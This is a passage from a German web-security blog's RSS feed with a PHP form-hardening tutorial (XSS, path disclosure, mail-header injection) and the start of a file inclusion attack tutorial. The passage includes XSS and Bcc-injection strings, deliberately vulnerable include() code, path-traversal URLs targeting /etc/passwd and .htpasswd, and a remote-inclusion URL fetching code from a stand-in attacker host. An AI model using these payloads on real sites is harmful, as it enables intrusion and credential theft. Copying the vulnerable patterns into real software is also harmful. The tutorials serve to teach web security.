		<comments>http://www.web-tuts.de/sichere-formulare-teil-1.html#comments</comments>
		<pubDate>Tue, 22 Dec 2009 05:29:17 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Formulare]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=472</guid>
		<description><![CDATA[
Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. H&#228;ufig sind sie da, um Benutzereingaben an eine Webanwendung zu &#252;bermitteln.
Da viele Sicherheitsl&#252;cken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.
In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitsl&#252;cken (und Spam) zu vermeiden (Teil [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/formularsicherheit.jpg" width="300" height="146" alt="Formularsicherheit" /></div>
<p>Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. H&#228;ufig sind sie da, um Benutzereingaben an eine Webanwendung zu &#252;bermitteln.</p>
<p>Da viele Sicherheitsl&#252;cken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.</p>
<p>In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitsl&#252;cken (und Spam) zu vermeiden (Teil 1/2).</p>
<p>Grundlegende PHP-Kenntnisse sollten vorhanden sein bzw. sind von Vorteil.</p>

<h2 class="headline">Basis-Formular</h2>
<p>Folgendes Basis-Formular dient in diesem Artikel als Beispiel.</p>
<pre class="prettyprint"><code>&lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;label for=&quot;name&quot;&gt;Name:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;email&quot;&gt;E-Mail:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;url&quot;&gt;URL:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;url&quot; id=&quot;url&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;text&quot;&gt;Text:&lt;/label&gt;
  &lt;textarea cols=&quot;50&quot; rows=&quot;10&quot; name=&quot;text&quot; id=&quot;text&quot;&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;datei&quot;&gt;Datei:&lt;/label&gt;
  &lt;input type=&quot;file&quot; name=&quot;datei&quot; id=&quot;datei&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;input type=&quot;submit&quot; name=&quot;form&quot; value=&quot;Daten absenden&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Im Browser sieht das ganze (formatiert) so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/form1.gif" width="388" height="478" alt="Formular" style="border:1px solid #c0c0c0;" /></p>
<h2 class="headline">Schutz vor Cross-Site Scripting (XSS)</h2>
<p>Wenn Benutzereingaben wieder ausgegeben werden, m&#252;ssen sie vorher ausreichend gefiltert werden, um XSS zu verhindern.</p>
<p>Dazu eignen sich die Funktionen htmlspecialchars() und htmlentities(). Diese Funktionen wandeln bestimmte Sonderzeichen in HTML-Codes um.</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;name&#039;]) &amp;&amp; !empty($_POST[&#039;name&#039;]))
    echo htmlentities($_POST[&#039;name&#039;]);
?&gt;</code></pre>
<p>Hierbei muss man beachten, dass diese Funktionen standardm&#228;&#223;ig keine einfachen Anf&#252;hrungszeichen (Single Quotes) umwandeln.</p>
<p>Damit auch Single Quotes umgewandelt werden, muss der Modus ENT_QUOTES als Parameter an die Funktionen &#252;bergeben werden.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $name = htmlentities($_POST[&#039;name&#039;], ENT_QUOTES);
  echo &quot;&lt;input type=&#039;text&#039; name=&#039;name&#039; value=&#039;$name&#039; /&gt;&quot;;
  // ...
?&gt;</code></pre>
<p>Oft kommt es auch vor, dass im action-Attribut des Formulars die Variable $_SERVER['PHP_SELF'] verwendet wird. Diese Variable enth&#228;lt den Dateinamen des aktuell ausgef&#252;hrten Scripts, relativ zum Document Root.</p>
<p>Auch diese Variable ist anf&#228;llig f&#252;r XSS. Ein Angreifer k&#246;nnte z.B. beliebigen JavaScript Code direkt in der URL &#252;bergeben.</p>
<pre class="srccode"><code>vuln.php/&quot;&gt;&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt;</code></pre>
<p>Die Variable $_SERVER['PHP_SELF'] muss also auch vor der Ausgabe gefiltert werden.</p>
<pre class="prettyprint"><code>&lt;form action=&quot;&lt;?php echo htmlentities($_SERVER[&#039;PHP_SELF&#039;]); ?&gt;&quot; method=&quot;post&quot;&gt;</code></pre>
<p>Allerdings gibt es hierbei ein weiteres Problem bei alten PHP Versionen. Durch anh&#228;ngen von Slashes k&#246;nnte dem action-Attribut eine externe URL zugewiesen werden. Angreifer k&#246;nnten somit die eingegebenen Daten empfangen und auslesen.</p>
<p>Eine sichere Alternative w&#228;r hier sinnvoller. In den meisten F&#228;llen reicht ein leerer String oder f&#252;r die eigene Verwendung eine statische Angabe.</p>
<p>Soweit zum Schutz vor XSS auf der Webseite. Doch wie sieht es mit dem E-Mail Client aus? Die meisten E-Mail Clients unterst&#252;tzen HTML-Mails. Wenn Benutzereingaben in E-Mails wieder ausgegeben werden, m&#252;ssen diese auch ausreichend gefiltert werden. Allerdings nur dann, wenn es sich auch wirklich um HTML-Mails handelt.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $header = &#039;Mime-Version: 1.0&#039; . &quot;\r\n&quot;;
  $header .= &#039;Content-type: text/html; charset=iso-8859-1&#039; . &quot;\r\n&quot;;
  $nachricht = htmlentities($_POST[&#039;text&#039;]);
  mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, $header);
?&gt;</code></pre>
<h2 class="headline">Schutz vor Full Path Disclosure</h2>
<p>Full Path Disclosure geh&#246;rt zwar zu den "harmlosen" Sicherheitsl&#252;cken, man sollte sie aber nicht untersch&#228;tzen. In dem Artikel <a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html">Sicherheitsl&#252;cken kombinieren</a> habe ich bereits gezeigt, wie aus harmlosen Sicherheitsl&#252;cken kritische werden k&#246;nnen.</p>
<p>Durch Full Path Disclosure (oder allgemein Information Disclosure) k&#246;nnen Angreifer den vollst&#228;ndigen Pfad auslesen. Manchmal m&#252;ssen Angreifer sogar den Pfad kennen, damit sie andere Sicherheitsl&#252;cken ausnutzen k&#246;nnen.</p>
<p>In den obigen Beispielen zum Schutz vor XSS haben wir die Funktion htmlentities() verwendet. Diese Funktion erwartet als Parameter einen String. Ein Angreifer kann aber auch ein Array &#252;bergeben, was zur Fehlermeldung und somit zu Full Path Disclosure f&#252;hrt (solange Fehlermeldungen ausgegeben werden).</p>
<p>Um die Ausgabe von Fehlermeldungen zu unterbinden, gibt es mehrere M&#246;glichkeiten.</p>
<p>Wer Zugriff auf die PHP-Konfigurationsdatei (php.ini) hat, kann die Direktive <em>display_errors</em> auf <em>Off</em> setzen. Dadurch werden Fehlermeldungen global unterbunden.</p>
<p>Ansonsten kann man die Funktion error_reporting() nutzen und die Ausgabe von Fehlermeldungen zur Laufzeit unterbinden. Dazu &#252;bergibt man der Funktion den Wert 0.</p>
<pre class="prettyprint"><code>&lt;?php
  error_reporting(0);
  // ...
?&gt;</code></pre>
<p>Zus&#228;tzlich k&#246;nnte man in der if-Abfrage &#252;berpr&#252;fen, ob es sich um ein Array handelt oder nicht. Dazu eignet sich die Funktion is_array().</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;name&#039;]) &amp;&amp; !empty($_POST[&#039;name&#039;]) &amp;&amp; !is_array($_POST[&#039;name&#039;]))
    echo htmlentities($_POST[&#039;name&#039;]);
?&gt;</code></pre>
<p>Tipp: W&#228;hrend der Entwicklung / w&#228;hrend des Debuggens sollte man immer Fehler- und Warnmeldungen ausgeben lassen. So kann man z.B. error_reporting(E_ALL) verwenden und sp&#228;ter in error_reporting(0) um&#228;ndern.</p>
<h3>Weitere M&#246;glichkeiten</h3>
<p>Eine weitere M&#246;glichkeit bietet der @-Operator. Anstatt htmlentities() verwendet man einfach @htmlentities(). Das gleiche gilt f&#252;r andere Funktionen.</p>
<p>Ansonsten kann man auch das Type Casting nutzen und der Variable einen expliziten Datentyp (in diesem Fall <em>string</em>) zuweisen.</p>
<h2 class="headline">Schutz vor Mail-Header Injection</h2>
<p>E-Mails bestehen genau wie Webseiten aus einem Header und einem Body. Im Header werden bestimmte Daten, wie z.B. die Absender-Adresse und das Datum &#252;bertragen.</p>
<p>Bei einer Mail-Header Injection manipulieren Angreifer (bzw. Spamer oder Spambots) den Mail-Header. Meistens wird dies ausgenutzt, um Spam-Mails zu versenden. Es ist allerdings noch weitaus mehr m&#246;glich.</p>
<p>In PHP gibt es f&#252;r das Versenden von E-Mails die Funktion mail(). Werden ungefilterte Benutzereingaben an diese Funktion &#252;bergeben, ist Mail-Header Injection m&#246;glich, da die mail() Funktion die &#252;bergebenen Parameter ungepr&#252;ft an den Mailserver schickt.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $nachricht = htmlentities($_POST[&#039;text&#039;]);
  $email = htmlentities($_POST[&#039;email&#039;]);
  mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, &#039;From: &#039; . $email);
?&gt;</code></pre>
<p>Da Header-Eintr&#228;ge in E-Mails mit einem Zeilenumbruch voneinander getrennt werden, injizieren Angreifer einen Zeilenumbruch (Hexadezimal: <code>%0A</code>), gefolgt von beliebigen Header-Eintr&#228;gen.</p>
<p>Mit dem CC-Feld bzw. BCC-Feld kann eine Kopie der E-Mail an eine oder mehrere E-Mail Adressen gesendet werden. Diese Felder nutzen Spamer, um Spam-Mails zu versenden (wie am folgenden Beispiel zu sehen ist).</p>
<p>Ein Angreifer / Spamer k&#246;nnte folgenden String im Formular als E-Mail angeben.</p>
<pre class="srccode"><code>absender@example.com%0ABcc:empfaenger1@xy.tld, empfaenger2@xy.tld</code></pre>
<p>Hier wird eine Kopie der E-Mail an <em>empfaenger1@xy.tld</em> und <em>empfaenger2@xy.tld</em> gesendet. Das BCC-Feld erm&#246;glicht eine Blindkopie; die Empf&#228;nger sehen nicht, dass die E-Mail auch an andere Adressen gesendet wurde.</p>
<p>Bei Wikipedia findet man eine Liste von <a href="http://de.wikipedia.org/wiki/Header_%28E-Mail%29#M.C3.B6gliche_Eintr.C3.A4ge_im_Header" target="_blank">m&#246;glichen Header-Eintr&#228;gen</a>.</p>
<p>Wer genau hinschaut wird feststellen, dass der String kein Zeichen enth&#228;lt, welches die Funktion htmlentities() umwandeln w&#252;rde. htmlentities() bietet gegen Mail-Header Injection keinen Schutz! Wir m&#252;ssen eigene Funktionen zur Filterung / Validierung schreiben.</p>
<p>Hierbei sollte man beachten, dass manche Systeme auch andere Zeichen als Zeilenumbruch interpretieren k&#246;nnten (z.B. Carriage Return - <code>%0D</code>).</p>
<p><strong>Wichtig</strong>: F&#252;r einen sicheren Schutz gegen Mail-Header Injection muss <strong>jeder Parameter</strong> der mail() Funktion validiert / gefiltert werden, der Benutzereingaben enth&#228;lt.</p>
<pre class="prettyprint"><code>&lt;?php
  setlocale(LC_ALL, &#039;de_DE&#039;);

  function checkMailParam($val, $type)
  {
    $a  = &#039;/(%0A|\r|%0D|\n|%00|\0|%09|\t)/ims&#039;;
    $b  = &#039;/(cc:|bcc:|from:|to:|reply-to:|subject:|sender:&#039;.
          &#039;|content-type:|content-transfer-encoding:|mime-version:)/ims&#039;;
    $blacklist = ($type != &#039;msg&#039;) ? $a : $b;   

    $val = preg_replace($blacklist, &#039;&#039;, $val); 

    if($type == &#039;mail&#039;)
    {
      if(preg_match(&#039;/^[\w.+-]{1,64}\@[\w.-]{1,255}\.[a-z]{2,6}$/&#039;, $val))
        return true;
    }

    else if($type == &#039;subject&#039;)
    {
      if(preg_match(&#039;/^[[:print:]]{3,}$/&#039;, $val))
        return true;
    }

    else if($type == &#039;msg&#039;)
    {
      if(preg_match(&#039;/^[[:print:][:space:]]{5,}$/&#039;, $val))
        return true;
    }

    else
      return false;
  }

  if(checkMailParam($_POST[&#039;text&#039;], &#039;msg&#039;) &amp;&amp; checkMailParam($_POST[&#039;email&#039;], &#039;mail&#039;))
  {
    $nachricht = htmlentities($_POST[&#039;text&#039;]);
    $email = htmlentities($_POST[&#039;email&#039;]);
    mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, &#039;From: &#039; . $email);
  }
?&gt;</code></pre>
<p>Als erstes nutzen wir die Funktion setlocale(), damit Umlaute, etc. korrekt verarbeitet werden. Dann folgt unsere eigene Funktion checkMailParam(), in der wir die m&#246;glichen Benutzereingaben f&#252;r die mail() Funktion validieren und filtern. Zuerst werden alle Zeichen, die bei einer Mail-Header Injection typisch sind, durch einen leeren String ersetzt. Anschlie&#223;end werden die Daten mit <a href="http://de.wikipedia.org/wiki/Regul%C3%A4rer_Ausdruck" target="_blank">Regul&#228;ren Ausdr&#252;cken</a> &#252;berpr&#252;ft - z.B. ob es sich um eine g&#252;ltige E-Mail Adresse handelt. Ist dies der Fall, wird <em>true</em> zur&#252;ck gegeben.</p>
<p>Diese Funktion nutzen wir anschlie&#223;end in einer if-Abfrage. Erst wenn die Daten validiert und gefiltert wurden, wird die mail() Funktion aufgerufen.</p>
<h2 class="headline">Ausblick auf Teil 2</h2>
<p>Das war es soweit f&#252;r den ersten Teil.</p>
<p>Im zweiten Teil geht es um File Uploads und CAPTCHAs. Zum Schlu&#223; werd ich dann ein fertiges Formular-Script bereitstellen (evtl. sp&#228;ter auch als WP-PlugIn <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ).</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sichere-formulare-teil-2.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 2">Sichere Formulare &#8211; Teil 2</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/sichere-formulare-teil-1.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/sichere-formulare-teil-1.html/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Advanced Local und Remote File Inclusion</title>
		<link>http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html</link>
		<comments>http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#comments</comments>
		<pubDate>Tue, 08 Dec 2009 17:34:49 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[RFI]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=473</guid>
		<description><![CDATA[
In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen.
Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.
Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML, JS und Perl sind von Vorteil, aber nicht zwingend erforderlich.
Zuerst gibt es eine Einf&#252;hrung in das Thema. [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/file_inclusion.jpg" width="300" height="200" alt="File Inclusion" style="border:1px solid #222;" /></div>
<p>In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen.</p>
<p>Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.</p>
<p>Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML, JS und Perl sind von Vorteil, aber nicht zwingend erforderlich.</p>
<p>Zuerst gibt es eine Einf&#252;hrung in das Thema. Danach werden allgemeine Vorgehensweisen zur Ausnutzung von File Inclusion Sicherheitsl&#252;cken anhand von praktischen Beispielen demonstriert.</p>
<p>Anschlie&#223;end folgen einige fortgeschrittene Techniken, die versierte Angreifer ausnutzen - wie zum Beispiel das Einschleusen von eigenen Code oder die Umgehung von unzureichenden Schutzma&#223;nahmen.</p>

<h2 class="headline">Inhalts-&#220;bersicht</h2>
<p><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#1">Was ist File Inclusion?</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#2">Include Funktionen in PHP</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#3">Wodurch entstehen File Inclusion Sicherheitsl&#252;cken?</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#4">Allgemeine Vorgehensweisen</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#5">Grundlegende Angriffstechniken</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#6">Fortgeschrittene Angriffstechniken</a><br />
<a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#7">Gegenma&#223;nahmen</a></p>
<h2 class="headline"><a name="1">Was ist File Inclusion?</a></h2>
<p>File Inclusion beschreibt eine Sicherheitsl&#252;cke in Webanwendungen, die es Angreifern erm&#246;glicht, Dateien (und somit auch Code) in einem Script einzubinden.</p>
<p>Man unterscheidet zwischen Local und Remote File Inclusion. Bei Local File Inclusion lassen sich - im Gegensatz zu Remote File Inclusion -  nur lokale Dateien einbinden.</p>
<p>File Inclusion Sicherheitsl&#252;cken sind allgemein kritisch zu betrachten.</p>
<h3>Local File Inclusion</h3>
<p>Local File Inclusion (kurz: LFI) ist eine Sicherheitsl&#252;cke, mit der Angreifer ausschlie&#223;lich <strong>lokale</strong> Dateien in einem Script einbinden k&#246;nnen.</p>
<p>Dadurch lassen sich beispielsweise Inhalte aus Dateien, welche sich auf dem Server befinden, auslesen. Das k&#246;nnen Passwortdateien, Konfigurationsdateien oder andere Dateien mit sensiblen Informationen sein.</p>
<p>Sollten die eingebundenen Dateien PHP Code oder clientseitigen Code beinhalten, den der Webserver/Browser interpretieren kann, wird dieser ausgef&#252;hrt. Somit lassen sich also auch vorhandene PHP Dateien einbinden und ausf&#252;hren.</p>
<p>Versierte Angreifer k&#246;nnen durch diverse Techniken auch eigenen Code einschleusen, der mithilfe einer LFI Sicherheitsl&#252;cke ausgef&#252;hrt werden kann.</p>
<h3>Remote File Inclusion</h3>
<p>Mit Remote File Inclusion (kurz: RFI) k&#246;nnen Angreifer auch <strong>entfernte</strong> Dateien einbinden, die sich auf anderen Servern befinden. Somit ist es nat&#252;rlich sehr leicht eigenen, beliebigen Code einzuschleusen.</p>
<p>Meistens werden sogenannte Webshells (bzw. PHP Shells) eingebunden, mit denen Angreifer in einem &#252;bersichtlichen Interface s&#228;mtliche Aktionen durchf&#252;hren k&#246;nnen, wie z.B. das Ausf&#252;hren von System-Befehlen oder das Uploaden, Editieren, ... von Dateien.</p>
<p>Remote File Inclusion ist nur m&#246;glich, wenn <em>allow_url_fopen</em> und <em>allow_url_include</em> in der PHP-Konfiguration (php.ini oder httpd.conf) auf <em>On</em> gesetzt sind.</p>
<p>RFI ist allgemein etwas kritischer zu betrachten, da auch unerfahrene Angreifer (sogenannte "Script-Kiddies") problemlos eigenen Code einschleusen k&#246;nnen.</p>
<h2 class="headline"><a name="2">Include Funktionen in PHP</a></h2>
<p>In PHP gibt es mehrere Funktionen, mit denen Dateien in einem Script eingebunden werden k&#246;nnen. Diese Funktionen werden sehr h&#228;ufig von Programmierern verwendet, da sie eine Modularisierung* in Webanwendungen erm&#246;glichen.</p>
<p>* Mit Modularisierung ist die Aufteilung des Source Codes gemeint.</p>
<p>In PHP gibt es folgende Include Funktionen:</p>
<ul>
<li>include</li>
<li>include_once</li>
<li>require</li>
<li>require_once</li>
<li>virtual</li>
</ul>
<h3>include</h3>
<p>Die Funktion include bindet eine &#252;bergebene Datei ein. Wird diese nicht gefunden, wird eine Warnmeldung ausgegeben. Der weitere Code wird ausgef&#252;hrt.</p>
<h3>include_once</h3>
<p>Die Funktion include_once ist identisch mit der Funktion include - mit dem einzigen Unterschied, dass der Code der eingebundenen Datei im Scriptverlauf nur einmal ausgef&#252;hrt wird.</p>
<h3>require</h3>
<p>Die Funktion require macht genau das selbe, wie die Funktion include - allderings mit einem gro&#223;en Unterschied: Wird die &#252;bergebene Datei nicht gefunden, wird ein Fatal Error verursacht und die Ausf&#252;hrung des Scripts wird sofort abgebrochen.</p>
<h3>require_once</h3>
<p>Die Funktion require_once ist identisch mit der Funktion require - der Code wird hier allerdings auch nur einmal im Scriptverlauf ausgef&#252;hrt.</p>
<h3>virtual</h3>
<p>Die Funktion virtual ist etwas anders, als die &#252;blichen Include Funktionen. Sie funktioniert nur, wenn PHP als Apache-Modul installiert wurde.</p>
<p>Sie f&#252;hrt eine Apache-Unteranfrage aus - dies ist zum Beispiel bei CGI-Scripten hilfreich, die vom Apache geparst werden sollen.</p>
<p>Nat&#252;rlich lassen sich hiermit auch PHP Dateien einbinden (und PHP Code ausf&#252;hren).</p>
<p>Im Gegensatz zu anderen Include Funktionen, verh&#228;lt sich diese Funktion bei bestimmten Dateiendungen etwas anders. Bindet man beispielsweise eine .txt-Datei ein, die PHP Code beinhaltet, wird dieser nicht ausgef&#252;hrt. Der PHP Code ist dagegen im Quelltext zu sehen und erm&#246;glicht somit das Auslesen von sensiblen Informationen (File Disclosure).</p>
<h2 class="headline"><a name="3">Wodurch entstehen File Inclusion Sicherheitsl&#252;cken?</a></h2>
<p>File Inclusion Sicherheitsl&#252;cken entstehen, wenn an den genannten Include Funktionen ungefilterte Variablen &#252;bergeben werden, die Benutzereingaben enthalten k&#246;nnen.</p>
<p>In PHP werden Benutzereingaben mittels superglobale Arrays &#252;bergeben. Dazu werden ab Version 4.1.0 meistens folgende superglobale Arrays verwendet:</p>
<ul>
<li>$_GET</li>
<li>$_POST</li>
<li>$_REQUEST</li>
</ul>
<p>Aber auch andere superglobale Arrays k&#246;nnen Benutzereingaben enthalten, wie z.B.:</p>
<ul>
<li>$_COOKIE</li>
<li>$_SESSION</li>
<li>$_SERVER</li>
</ul>
<p>Sollte <em>register_globals</em> auf <em>On</em> gesetzt sein, k&#246;nnen auch andere Variablen davon betroffen sein. In aktuellen PHP Versionen ist <em>register_globals</em> jedoch standardm&#228;&#223;ig auf <em>Off</em> gesetzt.</p>
<h2 class="headline"><a name="4">Allgemeine Vorgehensweisen</a></h2>
<h3>RFI: Einbinden von entfernten Dateien</h3>
<p>Bei RFI k&#246;nnen Angreifer wie gesagt Dateien einbinden, die auf anderen Servern liegen. Dazu geben sie einfach die URL zu der entfernten Datei an.</p>
<p>H&#228;ufig werden Dateien mit der Endung .txt eingebunden, die PHP-Anweisungen beinhalten. Damit ist sichergestellt, dass der PHP Code nicht auf dem Server interpretiert wird, wo die Datei liegt, sondern auf dem Zielsystem.</p>
<h3>LFI: Auslesen von sensiblen Informationen</h3>
<p>Das Ziel von Angreifern ist bei LFI h&#228;ufig das Auslesen von sensiblen Informationen, wie Passw&#246;rter, Konfigurationseinstellungen, etc.</p>
<p>Hier einige Beispiele, die f&#252;r Angreifer unter UNIX-Systemen interessant sein k&#246;nnten:</p>
<ul>
<li>/etc/passwd</li>
<li>/etc/shadow</li>
<li>/etc/group</li>
<li>/etc/security/passwd</li>
<li>/etc/security/group</li>
<li>/etc/security/user</li>
<li>/etc/security/environ</li>
<li>/etc/security/limits</li>
<li>/usr/lib/security/mkuser.default</li>
<li>/etc/httpd/conf/virtualhosts.conf</li>
</ul>
<p>Auch htaccess-Passwortdateien (.htpasswd) sind ein beliebtes Ziel.</p>
<h2 class="headline"><a name="5">Grundlegende Angriffstechniken</a></h2>
<p>Nun kommen die ersten Praxisbeispiele aus die Sicht eines Angreifers.</p>
<p>Anhand von praktischen Beispielen wird hier demonstriert, wie Angreifer File Inclusion Sicherheitsl&#252;cken ausnutzen.</p>
<p><strong>Beispiel 1:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_GET[&#039;file&#039;]))
    include($_GET[&#039;file&#039;]);
?&gt;</code></pre>
<p>Hier k&#246;nnen die Dateien in der URL per GET-Parameter &#252;bergeben werden.</p>
<p>LFI:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/passwd</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/home/www/.passwd</code></pre>
<p>RFI:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt</code></pre>
<p><strong>Beispiel 2:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  $file = $_GET[&#039;file&#039;];

  if(isset($file))
    require(&#039;includes/&#039; . $file);
?&gt;</code></pre>
<p>Auch hier k&#246;nnen die Dateien per GET-Parameter &#252;bergeben werden - in diesem Fall wird allerdings ein Verzeichnis (includes/) vorgegeben.</p>
<p>Nehmen wir an das vorgegebene Verzeichnis includes/ befindet sich unter:</p>
<p><code>/home/inet/www/includes/</code></p>
<p>Haben es Angreifer auf <code>/etc/passwd</code> abgesehen, m&#252;ssen sie sich hier erst einige Verzeichnise mit der Angabe <code>../</code> in der Verzeichnisstruktur nach oben bewegen, um ins Root-Verzeichnis zu gelangen. Denn Dort befindet sich das Verzeichnis <code>etc/</code> in der die <code>passwd</code> Datei liegt.</p>
<p>&#220;bergibt man hier "etc/passwd", erscheint eine Fehlermeldung, da die Datei <code>/home/inet/www/includes/etc/passwd</code> nicht gefunden wurde.</p>
<p>Erfolgreiche Angriffe k&#246;nnten wie folgt aussehen:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../../../../etc/passwd</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=../../../../etc/httpd/conf/virtualhosts.conf</code></pre>
<p>Bei einer .htpasswd in <code>/home/inet/www/.htpasswd</code> muss man sich dagegen nur ein Verzeichnis  in der Verzeichnisstruktur nach oben bewegen, um ins <code>www/</code> Verzeichnis zu gelangen (wo sich die Datei befindet).</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../.htpasswd</code></pre>
<p>RFI ist hier ohne weiteres nicht m&#246;glich, da ein Verzeichnis vorgegeben wird. Selbst wenn man sich in der Verzeichnisstruktur bewegt - man w&#252;rde sich immer in einem lokalen Verzeichnis befinden.</p>
<p><em><strong>Hinweis:</strong></em> Oftmals wissen Angreifer nicht, wieviele Verzeichnisse sie sich nach oben bewegen m&#252;ssen. Um ins Root-Verzeichnis zu gelangen, kann man aber auch einfach zu viele Verzeichnisse nach oben "springen", da sich das Root-Verzeichnis in der Verzeichnisstruktur ganz oben befindet und kein &#252;bergeordnetes Verzeichnis existiert.</p>
<p><strong>Beispiel 3:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  require_once(&#039;lang/&#039; . $_COOKIE[&#039;lang&#039;]);
?&gt;</code></pre>
<p>In diesem Beispiel wird ein Cookie namens "lang" verwendet. Au&#223;erdem wird das Verzeichnis lang/ vorgegeben.</p>
<p>Den Wert eines Cookies kann man u.A. im Browser &#228;ndern - zum Beispiel mit JavaScript:</p>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=test&quot;;void(0);</code></pre>
<p>Nach dem Aufruf sollte das Cookie den Wert "test" haben. Nachpr&#252;fen kann man das ganze ebenfalls mit JavaScript:</p>
<pre class="prettyprint"><code>javascript:alert(document.cookie);</code></pre>
<p>Nehmen wir an das <code>lang/</code> Verzeichnis befindet sich unter:</p>
